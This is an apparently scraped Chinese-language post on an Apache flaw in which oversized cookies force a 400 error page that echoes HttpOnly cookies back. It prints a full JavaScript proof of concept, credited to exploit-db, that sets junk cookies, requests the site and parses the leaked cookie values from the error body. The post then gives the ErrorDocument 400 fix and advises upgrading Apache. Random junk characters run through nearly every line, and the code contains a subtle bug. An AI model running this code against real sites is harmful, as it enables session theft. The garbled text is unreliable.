很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
3 w' i5 X& e- I; U/ T; j; c; c! w/ d' z' O, T z
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
" v, F) N$ h- o I + r+ U& M" {4 H+ ?
7 R9 f# c y( c3 Z& S! X// http://www.exploit-db.com/exploits/18442/
1 F6 v( x' `! {4 g& }function setCookies (good) {
) R& Z: t; | g9 M; ?* Z9 D: w// Construct string for cookie value
( X& ]9 w9 Z' o# K ^& B: pvar str = "";
- n& k2 [% Q! xfor (var i=0; i< 819; i++) {) n) Y' U7 B% G, Q
str += "x";, Z4 Y" r$ _* q2 L
}
' N% f9 R, y6 v* m0 ^' q- O, G2 d# n f// Set cookies
0 b; q4 M$ d6 o) B. j! b% O1 ^; [for (i = 0; i < 10; i++) {
* P. N* ~- [( E% q5 f) Q// Expire evil cookie
|5 H4 k" u2 r; [6 v8 f+ Tif (good) {
. ^4 ^8 B# }& J4 Tvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
4 b5 }9 e" e: T3 t- h& E2 B, t7 T} I8 O$ b6 Q4 M4 _
// Set evil cookie3 V' i2 ]9 s# q8 X# S+ A7 A% G
else {" E b5 L1 g" Q4 d# K* {
var cookie = "xss"+i+"="+str+";path=/";9 o2 V5 T3 y4 N
}
4 t; A& L7 X# Ldocument.cookie = cookie;
$ T- o) L6 g7 {. z+ ^}& b! j o4 v2 ~& B
} h; s& I: e' h% c
function makeRequest() {
) Q% R- ^- x& \! ]1 isetCookies();0 U: @2 |; q6 f' Z5 f! I
function parseCookies () {3 b# @) B/ \; o: w0 {
var cookie_dict = {};
* w" N) I9 r! {7 n4 R5 a0 L1 K8 T// Only react on 400 status
1 K, t$ q' X$ @& I7 xif (xhr.readyState === 4 && xhr.status === 400) {
& \9 ]! U0 w7 V; h* N// Replace newlines and match <pre> content
" O3 E! N( h+ k0 q7 H% wvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);' ]2 F) U5 o2 ^! l+ H% w6 P9 B
if (content.length) {
, J- B- |$ L8 K% m// Remove Cookie: prefix4 W4 d6 A% }! J l+ }* l. S& T9 z
content = content[1].replace("Cookie: ", "");
/ y" s0 r7 M+ b& ]2 t( xvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
/ Y: M* P4 f+ c A9 _" h5 H/ q' h// Add cookies to object* e& @; L, e* V* ~5 }; V
for (var i=0; i<cookies.length; i++) {
/ n* G' {/ V2 tvar s_c = cookies.split('=',2);0 Z: J3 Q3 Z/ r: e0 n
cookie_dict[s_c[0]] = s_c[1];& X* X, S4 j4 u' D% E7 x5 \7 @% M
}( b( d& z2 W) }. ~' i5 z
}
7 R2 O8 ?: I/ B, X// Unset malicious cookies
+ l& Z3 Y- a o, ~1 G; gsetCookies(true);8 ]. \- W2 S m0 T" i
alert(JSON.stringify(cookie_dict));/ k+ ]/ n9 P0 a; L
}* g3 P9 w" |0 }
}
/ H: J8 Y U7 l. m; g! E// Make XHR request
) S; P0 ?1 S$ ?4 p) fvar xhr = new XMLHttpRequest();9 o$ ?0 n, \( A$ d& D
xhr.onreadystatechange = parseCookies;* _4 h% a( Y/ j" I1 N S0 h
xhr.open("GET", "/", true);# b- F& f# c* v& G; z
xhr.send(null);
) h0 H" m; D/ T7 p}
) \2 O$ R5 t9 JmakeRequest();* ]6 U% W4 V7 B$ U* v0 w q
) @* k7 m' W5 ~/ g8 K2 [
你就能看见华丽丽的400错误包含着cookie信息。
' \/ T% i+ Z# ~, ?$ `
& Z7 [" @ D4 l5 i1 I) ?( i/ t; D4 x下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
% z. q6 _' u, x- b: C% l. A; H# ?- R |' D6 n2 s
修复方案:& Y6 ~: C# E$ |4 U
8 j) C/ z, a' S$ T3 k$ M% B: |
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
9 [, L; `1 ^! O! s" Z# h4 S* U q& K& ^! ]$ f0 k+ S' A7 h7 c& n
In the event of a problem or error, Apachecan be configured to do one of four things,
. f! _, i- F& t3 j2 d% o( r2 |3 N" P8 B5 S1 ?$ Y+ W2 H
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息% Q$ @) B# f. x7 L: l/ x
2. output acustomized message输出一段信息
0 ~4 T2 m8 a% K7 c3 D3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 / [3 |% F# ~3 _/ z/ a3 J
4. redirect to an external URL to handle theproblem/error转向一个外部URL- y: E2 H5 X9 n9 W7 K( ~
/ W: G$ B3 b: n. n$ h: C! y经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容. l, Z1 k: }" E+ b/ K6 G
b6 x. ?5 |# @/ [/ k
Apache配置:
, B4 l/ o* q O6 ^; F) T
& K- V, E1 D% A6 @7 l+ ?/ W9 {ErrorDocument400 " security test"3 ^9 e& ]. K% e/ A# f o
. i% u1 {& k: a当然,升级apache到最新也可:)。
2 H+ ?+ O/ B- f! e9 c3 V( {& y( F$ ^9 w0 R& D. c
参考:http://httpd.apache.org/security/vulnerabilities_22.html
! ~1 `1 A3 ^' G' p# @6 F3 K; `9 O/ Q$ ? K6 F
|